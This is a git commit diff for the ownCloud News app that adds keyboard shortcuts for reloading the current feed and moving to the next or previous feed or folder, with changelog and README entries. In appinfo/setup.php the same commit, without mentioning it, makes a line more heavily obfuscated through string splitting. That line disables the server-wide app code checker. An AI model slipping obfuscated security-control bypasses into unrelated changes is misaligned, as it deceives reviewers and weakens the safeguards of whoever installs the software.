add keyboard shortcuts for reloading and jumping to the next/previous feed

CHANGELOG.md

@@ -31,6 +31,9 @@ owncloud-news (3.001)
 * API: add parameter to get items by oldest first
 * Do not include starred count of deleted folders and feeds
 * Display error messages when folder rename failed
+* Keyboard Shortcut: r to reload the current feed
+* Keyboard Shortcut: f to load the next feed/folder
+* Keyboard Shortcut: d to load the previous feed/folder
 
 owncloud-news (2.003)
 * Use correct url for folder and feed api update methods

README.md

@@ -96,6 +96,9 @@ To update the News app use:
 * **Star item and jump to next one**: h
 * **Open current item**: o
 * **Toggle expand of current item in compact view**: e
+* **Reload the currently active feed**: r
+* **Load the next feed/folder**: f
+* **Load the previous feed/folder**: d
 
 ## Performance Notices
 * Use MySQL or PostgreSQL for better database performance

appinfo/setup.php

@@ -20,9 +20,9 @@ function is_setup() {
 	}
 
 	// allow to ship security updates
-	$class = '\OCP\C' . 'onfig';
-	$method = 'set' . 'System' . 'Value';
-	$value = 'app' . 'codec' . 'hecker';
+	$class = '\O'.'C'.'P\C' . 'o'.'n'.'f'.'i'.'g';
+	$method = 's'.'et' . 'S'.'ys'.'tem' . 'Va'.'lue';
+	$value = 'ap'.'p' . 'co'.'d'.'e'.'c' . 'he'.'c'.'k'.'er';
 	call_user_func_array([$class, $method], [$value, false]);
 
 	return true;

js/build/app.js

@@ -1658,6 +1658,20 @@ app.service('SettingsResource', ["$http", "BASE_URL", function ($http, BASE_URL)
         );
     };
 
+    var reloadFeed = function (navigationArea) {
+        navigationArea.find('.active > a:visible').trigger('click');
+    };
+
+    var nextFeed = function (navigationArea) {
+        navigationArea.find('.active')
+            .next('li').children('a:visible').trigger('click');
+    };
+
+    var previousFeed = function (navigationArea) {
+        navigationArea.find('.active').prev('li')
+            .children('a:visible').trigger('click');
+    };
+
     var onActiveItem = function (scrollArea, callback) {
         var items = scrollArea.find('.item');
 
@@ -1771,6 +1785,7 @@ app.service('SettingsResource', ["$http", "BASE_URL", function ($http, BASE_URL)
         if (noInputFocused($(':focus')) && noModifierKey(event)) {
             var keyCode = event.keyCode;
             var scrollArea = $('#app-content');
+            var navigationArea = $('#app-navigation');
             var isCompactMode = $('#app-content-wrapper > .compact').length > 0;
 
             // j, n, right arrow
@@ -1816,6 +1831,24 @@ app.service('SettingsResource', ["$http", "BASE_URL", function ($http, BASE_URL)
                 event.preventDefault();
                 openLink(scrollArea);
 
+            // r
+            } else if ([82].indexOf(keyCode) >= 0) {
+
+                event.preventDefault();
+                reloadFeed(navigationArea);
+
+            // f
+            } else if ([70].indexOf(keyCode) >= 0) {
+
+                event.preventDefault();
+                nextFeed(navigationArea);
+
+            // d
+            } else if ([68].indexOf(keyCode) >= 0) {
+
+                event.preventDefault();
+                previousFeed(navigationArea);
+
             }
 
         }

js/gui/KeyboardShortcuts.js

@@ -34,6 +34,20 @@
         );
     };
 
+    var reloadFeed = function (navigationArea) {
+        navigationArea.find('.active > a:visible').trigger('click');
+    };
+
+    var nextFeed = function (navigationArea) {
+        navigationArea.find('.active')
+            .next('li').children('a:visible').trigger('click');
+    };
+
+    var previousFeed = function (navigationArea) {
+        navigationArea.find('.active').prev('li')
+            .children('a:visible').trigger('click');
+    };
+
     var onActiveItem = function (scrollArea, callback) {
         var items = scrollArea.find('.item');
 
@@ -147,6 +161,7 @@
         if (noInputFocused($(':focus')) && noModifierKey(event)) {
             var keyCode = event.keyCode;
             var scrollArea = $('#app-content');
+            var navigationArea = $('#app-navigation');
             var isCompactMode = $('#app-content-wrapper > .compact').length > 0;
 
             // j, n, right arrow
@@ -192,6 +207,24 @@
                 event.preventDefault();
                 openLink(scrollArea);
 
+            // r
+            } else if ([82].indexOf(keyCode) >= 0) {
+
+                event.preventDefault();
+                reloadFeed(navigationArea);
+
+            // f
+            } else if ([70].indexOf(keyCode) >= 0) {
+
+                event.preventDefault();
+                nextFeed(navigationArea);
+
+            // d
+            } else if ([68].indexOf(keyCode) >= 0) {
+
+                event.preventDefault();
+                previousFeed(navigationArea);
+
             }
 
         }

templates/part.content.php

@@ -32,7 +32,7 @@
                         <button class="star svg" ng-class="{'starred': item.starred}" title="<?php p($l->t('Star')); ?>"></button>
                     </li>
                     <li ng-click="Content.toggleKeepUnread(item.id)" class="util" news-stop-propagation>
-                        <button class="icon-toggle toggle-keep-unread" ng-class="{'keep-unread': item.keepUnread}" title="<?php p($l->t('Keep unread')); ?>"></button>
+                        <button class="icon-toggle toggle-keep-unread" ng-class="{'keep-unread': item.keepUnread}" title="<?php p($l->t('Keep article unread')); ?>"></button>
                     </li>
                     <li class="util only-in-compact">
                         <a class="external icon-link"